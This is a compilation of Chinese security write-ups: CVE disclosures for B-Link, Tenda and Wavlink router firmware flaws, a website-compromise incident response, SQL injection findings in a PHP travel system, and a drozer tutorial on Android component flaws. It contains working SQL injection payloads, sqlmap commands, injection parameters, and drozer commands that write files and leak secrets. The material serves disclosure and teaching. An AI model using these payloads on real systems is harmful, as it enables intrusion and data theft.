B-Link X26路由器Web服务风险挖掘
0.前言
在对B-Link X26 V1.2.8 路由器固件进行安全审计时,发现其在处理特定输入的过程中存在命令注入溢出漏洞。
该漏洞的成因在于程序未对用户传入的数据进行严格的合法性校验,直接拼接进入系统命令,攻击者可以借此注入并执行任意代码。这种情况不仅可能导致设备运行异常,还可能在某些条件下使攻击者获得对路由器的完全控制。
通过验证与复测确认,该漏洞风险等级较高,利用门槛低,极易被远程攻击者滥用,对设备本身以及所处网络的安全性构成严重威胁。
目前,我已将漏洞细节、复现过程与修复建议整理成完整报告,并通过官方渠道提交给厂商及 CVE 分配机构。
该漏洞已被收录,编号为 https://www.cve.org/CVERecord?id=CVE-2025-9580。
1.漏洞概述
B-Link X26路由器 V1.2.8版本存在命令执行漏洞,触发该漏洞需要进行一次授权,当攻击者获取授权之后可以通过发送恶意的HTTP POST请求即可触发该漏洞。
2.漏洞详情
https://www.b-link.net.cn/product_29_174.html官网下载完固件之后,使用binwalk进行解包。
这个固件解包出来后,比起之前其他我挖过其他消费级路由器也有很大不同。
首先它没有httpd文件,解包后习惯性地在 bin/ 或 sbin/ 目录中寻找 httpd 可执行文件,因为在大多数消费级或企业级路由器中,Web 管理界面往往依赖 httpd 作为核心服务。但在 B-Link X26 的固件中并没有找到 httpd,这使得常规思路无法直接套用。
接下来尝试在 Web 资源目录下寻找脚本文件,一般来说企业级路由器会包含大量 .php 脚本,比如 DCME-720 ,消费级路由器则可能依赖 .cgi 文件来处理。
后台逻辑,但是在 B-Link X26 中,.cgi 文件数量极少,仅发现了与上传相关的 upload.cgi。这与以往分析的 DCME、Wavlink 固件有明显不同:后者解包后能看到一整套配置、认证、状态查询相关的脚本,而在 X26 上,脚本层几乎不存在。
既然缺少传统的 httpd,.cgi 文件也很少,说明该固件的 Web 服务逻辑并未像常见路由器那样拆分到大量脚本中,那么剩下的可能性,要么Web 服务被嵌入在某个非典型命名的二进制中,或者是路由器采用了轻量级嵌入式 Web 服务器。
带着这个假设,再次对 bin/ 目录进行排查,可以发现一个名为 goahead 的可执行文件。
通过字符串检索与反汇编分析,可以在 goahead 中发现大量 Web 服务相关的函数调用,比如 websGetVar、HTTP 请求处理逻辑,并且能定位到 system()、popen() 等命令执行函数。
所以说B-Link X26 的 Web 管理界面核心逻辑全部集成在 goahead 内部,而不是依赖外部的 .cgi 或 .php 文件。
回到正题,当请求路径为set_hidessid_cfg时候会进入sub_44F9F4函数的处理逻辑。
可以看到,这里从 HTTP 请求里取出参数 type 和 enable,a1 通常是 webs_t 结构(goahead 的请求上下文),websGetVar 用来提取请求参数。
如果没取到,返回默认值 ""
然后又通过创建json对象的格式将参数打包成json对象传入到了bs_SetSSIDHide函数中,从名字可以看出来这是修改隐藏 SSID的配置的函数。
{
"type": "<用户输入的type参数>",
"enable": "<用户输入的enable参数>"
}
那么这里就会有一些问题,type和enable完全是由用户输入的。
没有过滤,type 和 enable 原样地放进 JSON。
关键在于 bs_SetSSIDHide 的实现,如果说它内部调用了 system()/popen() 来修改无线配置,比如说执行 iwpriv、uci set 等命令,就可能引发命令注入。
但是如果只是直接操作配置文件/内存结构,则风险较小。
所以接着看 bs_SetSSIDHide 函数,但是这里有个问题,就是它是个外部函数,无法在gohead里面直接找到,这说明该函数并不在当前二进制中实现,而是来自外部库。
所以为了找到其具体的实现逻辑,首先检查了 goahead 的动态依赖库。
readelf -d goahead | grep NEEDED
该命令用于列出 goahead 这个程序运行时所必需的所有动态链接库,共享库文件。
查出了 goahead 运行时依赖的动态库,包括:libc.so.0,libnvrm.so.0,libshare.so.0之类。
既然 bs_SetSSIDHide 在 goahead 内部没定义,那么它必然来自这些依赖库之一。
根据经验,libshare.so.0 这个命名,share → 常常封装设备配置、WLAN、系统参数等接口,就可以合理怀疑这个函数实现藏在里面。
我们也可以验证一下猜测
nm -D libshare.so.0 | grep bs_SetSSIDHide
该命令用于检查名为 bs_SetSSIDHide 的函数是否存在于共享库 libshare.so.0 的动态符号表中,从而确认该函数是否可以被其他程序调用。
0002b7f4是函数 bs_SetSSIDHide 在 libshare.so.0 里的偏移地址,如果库被加载到内存,这个地址会加上库的基址,得到函数的真实运行时地址。
T表示该符号在 Text 段,也就是代码段中被定义,说明它是一个函数。字母 T 是大写的,这表示它是一个全局符号,意味着这个函数可以被链接到这个库的其他程序或库文件调用。如果是小写的 t,则表示它是一个内部函数,只能在库内部使用。
如果是 U,就表示 undefined,也就是未定义,只是引用。
bs_SetSSIDHide,就是符号名,也就是函数的名字,这说明 bs_SetSSIDHide 真正的实现就在 libshare.so.0 里。
这张图的输出证明了 bs_SetSSIDHide 在 libshare.so.0 中确实有定义(函数实现),地址偏移是 0x2b7f4,因此在 goahead 里调用的就是这个库函数。
所以按理来说我们应该去逆向分析libshare.so.0
但是由于其中 libshare.so.0 属于 共享对象名,其作用是给运行时动态链接器提供一个稳定的接口名称。
而 libshare-0.0.26.so 才是库的真实实现文件。通常情况下,libshare.so.0 会通过符号链接指向 libshare-0.0.26.so
所以直接处理 libshare-0.0.26.so就好,因为它包含了完整的符号信息与函数实现。
可以发现bs_SetSSIDHide将传入的两个json格式的对象进行了取值,并且接下来存在一个判断,对type取值为sethide2绕过这个if分支。
这里会发现对v20进行了命令执行,而v20是通过v7拼接而来的,而v7往上翻就是取到的值enable,也就是一开始传入的值。
那么这里就存在一个libc函数相关的命令执行。
3.漏洞验证
淘了一台真机,直接省事,懒得去仿真了(其实是仿真不起来....),真机才是硬道理!
然后去访问3.txt文件就会发现已经注入成功了。
应急响应:某网站被挂非法链接
事件概况
最近应急,遇到一起官网非法链接事件。如下图所示,使用百度搜索引擎语法site:www.网站域名 搜索某关键字,会出现一堆结果。并且只有百度搜索引擎可以搜索出来,其他的都没有记录。
挨个点开,都是404,最近的一条是8.15的。
到现场后,先建议工作人员分批进行用户反馈,期望百度能够尽快删除搜索结果,将负面影响降低到最小,之后着手应急。
既然是挂链接,又是404,说明在百度爬虫收录之后,链接原文已经被删除。作案者相当谨慎,估计是下次接到活儿还想如法炮制。现场资产情况是:
Windows Server 2016
IIS 10
Microsoft Sql Server 2008
WAF
排查角度有两个,一是服务器被入侵了,这是最糟糕的结果,二是网站本身存在漏洞,作案者直接操作网站后台发的文。
上机排查
登录服务器,看到桌面还算整洁,与运维人员核实,安装的软件也都正常。查看服务器上仅有的安全防护措施——卡巴斯基,未发现活动威胁,情况还算可以。
翻看卡巴斯基防护日志,并没有异常行为告警,只有一条漏洞利用防御的记录,还是告警的D盾。
将D盾拿上服务器,逐一翻看一遍,并没有发现异常,IIS模块都是正常运行。
排查到这里基本可以排除服务器被入侵的可能了。然后,有效的安全设备仅有一台WAF,登录上去看看与该网站相关的日志。
看到很多发文异常的告警,但仅仅是告警,没有阻断,估计是不允许影响业务。
从这条告警来猜测,网站有可能存在编辑器漏洞,kindeditor。但也就这些告警,没有参考价值,因为响应结果记录为空。
既然没有入侵服务器,没有植入马儿,那就还是通过网站操作来发布的文章。所以下面的排查思路是跟踪文章的发布和删除时间,以及发布者账号、登录IP等等。
联系软件开发公司的人,询问文章删除逻辑:
顿时感觉这套系统开发的好随意,文章说删就删了,真的删了,没有给追踪溯源留下一丝余地。接下来怎么办?看看web日志吧。
web日志
web日志分为两种,一种以ex开头,记录的是爬虫行为,文件普遍偏小,另一种以nc开头,记录的是网站的访问日志,文件普遍偏大。
根据“Baiduspider”关键字搜索百度爬虫的时间。
302太多,只需要200的,并且加上大概的时间范围:
记录还是太多。询问开发人员有没有url白名单,不出所料,回复依然是“不知道”。如此一来,从百度收录时间入手排查的思路就断了。然后怎么办?看看访问日志吧,根据访问数量筛选一下。
果然,有一个IP的访问数量特别多,针对这个IP筛选一下。
访问时间大多在凌晨一两点,且url多数和kindeditor有关,着实可疑。然后根据这个IP查一下登录账号:
只有寥寥几条,应该是只供页面展示用,而且不支持下一页查询。既然开发不给力,那就只有自己登录数据库查询了。
Database
登录之后翻看表空间,首先看到一张User表,本能地打开。看到loginPwd列,自然是存储的密码,不过,再仔细瞧瞧这些记录,16位的MD5啊!
继续翻看发现,怎么有几个相同的MD5值?难不成是初始密码还没改。
把这几个相同的MD5拿出来解密一下:
解出来了,又是一个MD5,再次解密:
出来了,弱口令,111。用户密码的加密规则是两次MD5处理。以这个密码为查询条件筛选一下用户,好家伙,总共6个人都是用的这个密码。
在其中随便找个账号查询其近两个月的登录记录:
果然,8.11登录过,而且是外省地址。回看百度爬虫收录时间是8.15,从发文到被爬取用了4天时间,符合爬虫效率。
之后再去除源地址转换、出口IP地址、IPv6地址,筛选所有弱口令账号近三月的登录日志,共53条。
经分析发现其中一个账号存在多地点多IP登录的情况,且登录IP中有多个为恶意IP,下图是其一。
用其账号登录网站后台管理系统,瞬间一目了然:
账号权限包括发布文章、修改文章、删除文章......一应俱全。
总结两点
说一千道一万的是弱口令,屡禁不止的是弱口令,明知故犯的还是弱口令。
应急是个综合性很强的活儿,有时候不需要多么高超的技术,像这次,我就当了一把系统运维和数据库运维。
Tenda AC20路由器缓冲区溢出漏洞分析
1.前言
七月底,在对 Tenda AC20 路由器 进行安全分析时,发现其固件在处理特定输入时存在 缓冲区溢出漏洞。
该漏洞源于程序在拷贝用户输入时缺乏有效的边界检查,攻击者可以通过构造恶意请求触发溢出,从而导致系统崩溃,甚至在某些场景下获得更高权限,进而完全控制设备。
经过多次验证与测试,确认该漏洞风险较高,对设备的安全性影响严重。
我整理了一份详细的技术报告,内容包括漏洞成因、复现方法及修复建议,并通过正规渠道提交给厂商及 CVE 分配机构。
近日,该漏洞已被正式收录,编号为 https://nvd.nist.gov/vuln/detail/CVE-2025-8939 。
2.漏洞概述
Tenda AC20 路由器被发现存在缓冲区溢出漏洞。攻击者可以通过向某些路径发送特制的 HTTP POST 请求来触发此漏洞,从而可能导致拒绝服务 (DoS) 攻击,甚至远程代码执行 (RCE)。
3.漏洞细节
AC20 路由器的最新固件可从腾达官网下载:AC20 升级软件 - https://www.tenda.com.cn/
固件可以使用以下在线工具解压:https://zhiwanyuzhou.com/multiple_analyse/firmware/
或者直接使用binwalk解包也是可以的,获得以下文件:
我们要找到/squashfs-root/bin/httpd 二进制文件。
因为httpd就是Tenda 路由器的 Web 管理后台进程,大部分家用路由器,包括 Tenda都提供一个 Web 管理界面,这个界面其实就是由路由器内部的一个小型 Web 服务器httpd提供的。
当用户在浏览器里访问路由器后台时,请求会被发送到路由器本地运行的 httpd 服务,这个二进制文件负责接收、解析 HTTP 请求,比如说登录、修改 Wi-Fi 密码、固件升级等,然后调用底层的系统函数或配置接口。
由于 httpd 要解析用户提交的数据,如果代码没有做好边界检查,就可能导致缓冲区溢出、命令注入等问题,这也是为什么路由器的很多漏洞,很常见的溢出、注入、未授权访问都集中在 httpd 这个二进制文件里。
解包文件里面还有dhttpd二进制文件,它与httpd最大的不同就在于httpd是Tenda 的主后台 Web 管理进程,就是能够对用户可见的路由器后台,而dhttpd则会用来跑一些非核心但需要 Web 接口的功能,像什么诊断、子模块或者是其他特定功能。
在Tenda AC 系列里,Web 管理界面并没有用第三方服务器,比如lighttpd,或者是boa之类的,而是厂商自己写的 httpd 二进制文件。
那么,所有 HTTP 请求直接由这个 httpd 处理,路由器后台的逻辑,像什么 Wi-Fi 配置、系统管理之类的也都在里面实现,所以漏洞就会出现在 httpd 本身。
换句话说,Tenda 的 httpd 本身就是 Web 服务 + 业务逻辑的二合一。
回到正题,我们在httpd文件中发现函数fromSetWifiGusetBasic有缓冲区溢出的风险。
可以看到这里的函数fromSetWifiGusetBasic,该函数会获取shareSpeed的值,然后将其复制到Var数组中,且没有进行长度检查,从而导致缓冲区溢出漏洞。
交叉引用后再往上翻就会发现它其实是有个前提条件的,那就是请求路径必须是WifiGuestSet。
这行代码的作用,是把 WifiGuestSet 这个字符串与具体的处理函数 fromSetWifiGuestBasic 绑定在一起。换句话说,只要有请求命中 WifiGuestSet,设备就会调用对应的函数去执行。
所以我们Poc的请求路径就应该是POST /goform/WifiGusetSet HTTP/1.1 。
路径前加 /goform/ 是 Tenda 固件的惯用套路,结合代码逻辑,基本可以确认。
4.漏洞验证
确定漏洞点之后,我们先把固件跑起来,模拟一个真实运行环境,更好让我们观察是否因为栈溢出而产生崩溃页面
找到 /bin/httpd 文件。要模拟环境,使用以下命令:
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
等一会之后,直接上浏览器输入对应IP地址 192.168.102.145,就可以进入到AC20路由器页面。
跑起来之后,我们使用burpsuite进行一个发包测试,发送一堆垃圾数据到sharedSpeed。
可以发现192.168.102.145/main.html出现了崩溃信息。
而从终端也观察到分段错误,确认发生了栈溢出,也就是shareSpeed这里存在一个缓冲区错误。
某路由器二进制漏洞挖掘过程
1.前言
半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。
该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。
经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。
我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。
近日,该漏洞已正式获得CVE编号CVE-2025-9149。
https://www.wavlink.com/en_us/index.html2.漏洞概述
Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。
固件下载地址:
https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情
对固件binwalk -Me [固件位置] 解包
binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件,
它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。
当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。
Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。
wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。
处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。
Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。
与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。
wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。
所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。
找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。
sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。
sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。
从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。
随后Guest_ssid参数值被传入sub_407504函数内。
而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。
所以构造poc的时候,必须将guestEn设置为1
而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。
所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。
4.漏洞验证
首先使用工具将Wavlink模拟起来,这里选择了FrimAE
sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
检查名为"httpd"的进程是否正在运行
设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf
在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。
接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。
可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言
之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。
https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。
2.漏洞详情
1.1 CVE-2025-9008
下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。
$sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',
password='".$_POST['password']."',
sender_id='".$_POST['sender_id']."'
WHERE id='1'";
这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。
因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。
比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1
那么,最终拼接出来的 SQL 语句会变成:
UPDATE sms_setting SET
uname='hacker',
password='' OR '1'='1',
sender_id='fake_sender'
WHERE id='1'
这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。
更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。
payload
---
Parameter: uname (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
---
我们也可以使用一些工具来进行查看,比如说sqlmap。
sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs
通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。
布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。
而图中的payload
uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ
111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。
RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。
(CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321
如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。
如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。
把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。
所以明确了这里存在sql注入漏洞。
1.2 CVE-2025-8993
接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。
这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。
而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。
它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。
比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?");
然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。
这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。
但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。
$stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' ");
$_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。
攻击者只要在表单输入里构造恶意 payload,就能注入 sql。
虽然用了 PDO,但没有真正用到参数化查询。
$conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。
所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。
payload
---
Parameter: from_date (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
---
用sqlmap进行检测
sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs
sqlmap 识别到 POST 参数 from_date 存在注入漏洞。
测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。
所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。
还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。
from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&...
如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。
而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。
tour1,这个才是该cms特有的数据库名称。
所以明确了POST参数的from_date存在注入漏洞。
3.建议修复
使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。
输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。
最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。
定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。
具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。
在电脑端通过adb实现端口转发,并成功启动drozer
adb forward tcp:31415 tcp:31415
drozer console connect
通过app.package.list的filter参数过滤alan关键词的包名称
run app.package.list --filter alan
查询该app的包信息
run app.package.info -a com.asec.alan
利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。
run app.package.attacksurface com.asec.alan
完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。
一、Activity
Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。
1、未授权访问漏洞
需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。
通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制
run app.activity.info -a com.asec.alan
对于这些activity的执行逻辑属于
LoginActivity登录->MainActivity->InfoQueryActivity
LoginActivity登录->MainActivity->FileQueryActivity
1)漏洞代码
以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储
当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。
通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转
该acitivity直接加载,未进行登录态的校验
通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。
2)漏洞利用
MainActivity加载:
基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true
MainActivity的加载可直接通过drozer命令加载
run app.activity.start --component com.asec.alan com.asec.alan.MainActivity
执行后成功记载MainActivity
删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败
InfoQueryActivity加载:
InfoQueryActivity则通过app.activity.start命令直接加载即可。
run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity
3)修复建议
二、Service
Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。
新建一个用于漏洞测试的service,并写入一些漏洞的逻辑
service组件运行导出
通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。
run app.service.info -a com.asec.alan
1、任意文件写入漏洞
在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。
1)漏洞代码
当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录
2)漏洞利用
通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer
run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer"
利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容
adb shell
su
ls /data/data/com.asec.alan/drozer_test.txt
cat /data/data/com.asec.alan/drozer_test.txt
2、敏感信息泄露漏洞
敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。
1)漏洞代码
当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志
2)漏洞利用
利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务
run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService
通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。
adb logcat VulnerableService:D *:S
三、Broadcast Receiver
Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。
1、伪造恶意广播漏洞
Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。
1)漏洞代码
该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。
2)漏洞利用
利用drozer伪造恶意广播并触发该接收器
run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test"
通过界面可以查看到对应的广播信息
四、Content Provider
Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。
1、信息泄露漏洞
Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。
1)漏洞代码:
通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。
2)漏洞利用
利用drozer命令可以查看该APP的provider的信息
run app.provider.info -a com.asec.alan
利用app.provider.finduri可以查看所有的uri
run app.provider.finduri com.asec.alan
通过drozer查询content://com.asec.alan.provider/该uri的数据
run app.provider.query content://com.asec.alan.provider/
2、SQL 注入漏洞
